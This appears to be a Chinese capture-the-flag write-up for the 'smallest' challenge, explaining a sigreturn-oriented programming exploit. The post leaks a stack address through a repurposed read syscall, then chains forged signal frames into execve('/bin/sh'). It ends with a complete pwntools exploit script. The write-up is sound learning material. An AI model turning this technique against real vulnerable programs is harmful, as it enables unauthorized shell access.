Share this post on:

smallest(SROP)

题目来源

题目情况

checksec:image-20220509221313799

看看ida的反汇编:image-20220509221357461

因为有 xor rax,rax ,所以这里的 rax=0x0 ,然后rax既保存函数返回值,也保存系统调用号,所以在syscall是调用了read函数(read的系统调用号为0),整个程序执行完成

大致思路:

1.先写三个start_addr用于反复调用read函数写入数据

payload = p64(start_addr)
payload += p64(start_addr)
payload += p64(start_addr)

2.第一个read用于读入 ‘\xb3’ 跳过最开始的xor(如果被xor了那么rax的值就变为0了),并且使rax=0x1(write的系统调用号)

p.send('\xb3')

3.此时第二个read已经被改为write函数了,用来泄露栈地址,等会儿可以在泄露出来的栈地址写入数据image-20220510133608257

4.第三个read写入构造好的sigframe并且写入‘/bin/sh\x00’,并且使rax=0xf(0xf为sigreturn),用于用syscall来调用sigreturn,触发之前构造好的sigframe(SYS_read)

sigreturn = p64(syscall_addr) + b'B'*0x7

payload = p64(start_addr)
payload += b'A'*8
payload += sigframe

p.send(payload)
p.send(sigreturn)

5.用触发的SYS_read再次写入触发execve的sigframe,调用方式与第四步一致

注意点与收获

  • 对syscall的调用思路很巧妙,利用read的返回值为写入的字节数来修改rax的值使其变成正确的系统调用号(SROP对syscall调用的一种做题思路)
  • 再一次了解了payload发送后rsp的执行顺序(先发送的先执行。溢出后,如果payload中第一,二条指令都是跳转,那会先执行第一个跳转)
  • 看一眼sigframe的大致结构:
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read #调用函数
sigframe.rdi = 0x0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr #布置数据的位置
sigframe.rip = syscall_addr #下一条指令
sigframe = bytes(sigframe)
  • 不能直接将参数寄存器的值改为 ‘/bin/sh\x00’ ,而是将参数寄存器指向一个地址,在该地址处写入 ‘/bin/sh\x00’

完整exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
gdb.attach(p)

start_addr = 0x4000B0
syscall_addr = 0x4000BE

payload = p64(start_addr)
payload += p64(start_addr)
payload += p64(start_addr)

p.send(payload)
pause()
p.send('\xb3')

stack_addr = u64(p.recv()[8:16])
log.success('leak stack addr :' + hex(stack_addr))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0x0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
sigframe = bytes(sigframe)

sigreturn = p64(syscall_addr) + b'B'*0x7

payload = p64(start_addr)
payload += b'A'*8
payload += sigframe

p.send(payload)
p.send(sigreturn)

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
sigframe = bytes(sigframe)

payload = p64(start_addr)
payload += b'A'*8
payload += sigframe
payload = payload.ljust(0x120, b'\x00')
# payload += (0x120 - len(payload)) * b'\x00'
payload += b'/bin/sh\x00'

pause()
p.send(payload)
p.send(sigreturn)

p.interactive()
Share this post on:

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用 * 标注